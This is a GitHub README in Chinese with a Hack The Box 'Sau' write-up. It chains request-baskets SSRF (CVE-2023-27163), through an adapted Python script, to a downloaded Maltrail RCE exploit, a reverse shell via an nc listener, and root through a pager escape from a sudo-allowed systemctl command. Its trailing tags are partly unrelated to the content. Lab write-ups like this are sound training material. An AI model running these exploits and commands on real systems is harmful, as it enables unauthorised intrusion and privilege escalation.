R3fr4kt/Sau

GitHub: R3fr4kt/Sau

这是一份Hack The Box中等难度靶机的渗透测试Writeup,展示了从SSRF漏洞利用到systemctl提权的完整攻击链和方法论。

Stars: 0 | Forks: 0

# Sau # Hack The Box – Sau Writeup ## 概述 **Sau** 是一台中等难度的 Linux 机器,主要关注 **Web 利用、SSRF 滥用以及通过配置错误的 sudo 权限进行权限提升**。 本文展示了一套结构化的方法论:枚举、漏洞研究、漏洞利用适配、Shell 稳定化以及权限提升。 目标是获取 `user.txt` 和 `root.txt`。 ## 1. 枚举 我首先进行了一次完整的 TCP 端口扫描: ``` nmap -Pn -n --min-rate 5000 -T4 ``` 随后对发现的开放端口进行了详细分析: ``` nmap -p22,80,8338,55555 -sSCV --min-rate 5000 -T4 ``` 关键发现: * **22** → SSH * **80** → HTTP (内部服务) * **55555** → Web 应用程序 * **8338** → 附加服务(无法直接利用) 为了识别 55555 端口上的服务: ``` whatweb :55555 ``` 输出显示该应用程序为 **request-baskets**,其版本信息显示在页脚中。 ## 2. SSRF 漏洞利用 – CVE-2023-27163 基于 HTB 的提示和版本分析,该应用程序存在 **SSRF (服务器端请求伪造)** 漏洞。 搜索: ``` CVE 2023 SSRF request-baskets ``` 发现了 **CVE-2023-27163**,该漏洞允许攻击者将请求转发到内部服务。 ### 利用策略 思路是创建一个恶意 basket,将请求转发到: ``` http://127.0.0.1:80 ``` 下面是用于创建 SSRF 隧道的改编 Python 脚本: ``` import requests import json import sys target_url = "http://:55555" internal_service = "http://127.0.0.1:80" basket_name = "exploit-ssrf" def create_malicious_basket(): api_url = f"{target_url}/api/baskets/{basket_name}" payload = { "forward_url": internal_service, "proxy_response": True, "insecure_tls": True, "expand_path": True, "capacity": 250 } response = requests.post(api_url, json=payload) if response.status_code == 201: print(f"[+] Basket '{basket_name}' created successfully.") print(f"[+] Access: {target_url}/{basket_name}") else: print(f"[-] Error: {response.text}") if __name__ == "__main__": create_malicious_basket() ``` ### 攻击原理 1. 向 `/api/baskets/{name}` 发送 `POST` 请求。 2. `proxy_response: true` 确保服务器返回内部服务的响应。 3. 访问 `/exploit-ssrf` 强制服务器在内部查询 `127.0.0.1:80`。 ## 3. 内部应用程序发现 通过 SSRF,我发现了一个运行在 80 端口的内部 Web 应用程序: **Maltrail v0.53** 该版本公开已知存在远程代码执行 (RCE) 漏洞。 检索漏洞利用脚本: ``` wget https://raw.githubusercontent.com/Rubioo02/Maltrail-v0.53-RCE/main/exploit.sh chmod +x exploit.sh ``` 监听器准备: ``` nc -lvnp 4444 ``` 执行漏洞利用: ``` ./exploit.sh -t :55555/exploit-ssrf -i ``` 成功获取了 reverse shell。 ## 4. Shell 稳定化 ``` python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` 用户 flag: ``` cat /home/puma/user.txt ``` ## 5. 权限提升 检查 sudo 权限: ``` sudo -l ``` 输出: ``` User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service ``` 这是一个典型的权限提升向量。 ### 版本检查: ``` systemd --version ``` 执行被允许的命令: ``` sudo /usr/bin/systemctl status trail.service ``` 这会打开一个 pager (`less`)。 在 pager 内部: ``` !/bin/bash ``` 由于 `NOPASSWD` sudo 规则,这将生成一个 root shell。 Root flag: ``` cat /root/root.txt ``` ## 展示的关键技术技能 * 使用 Nmap 进行结构化枚举 * Web 应用程序指纹识别 * CVE 研究与漏洞利用适配 * SSRF 漏洞利用 * 通过内部服务发现进行横向移动 * RCE 漏洞利用 * Shell 稳定化 * Sudo 配置错误权限提升 ## 总结 Sau 是链式利用的一个绝佳案例: 1. SSRF → 2. 内部应用程序暴露 → 3. RCE → 4. 通过配置错误的 sudo 进行权限提升。 这台机器展示了与真实世界攻击路径一致的实用进攻性安全技能,特别是在 **Web 利用和 Linux 权限提升场景** 中。
标签:CISA项目, CSV导出, CTF Writeup, CTI, CVE-2023-27163, Ethical Hacking, HackTheBox, IP 地址批量处理, Nmap, PE 加载器, Request-Baskets, SSRF, Sudo滥用, Web安全, 内网穿透, 协议分析, 密码管理, 应用安全, 插件系统, 数据统计, 服务器端请求伪造, 权限提升, 枚举, 端口扫描, 网络安全, 蓝队分析, 虚拟驱动器, 逆向工具, 隐私保护, 靶机实战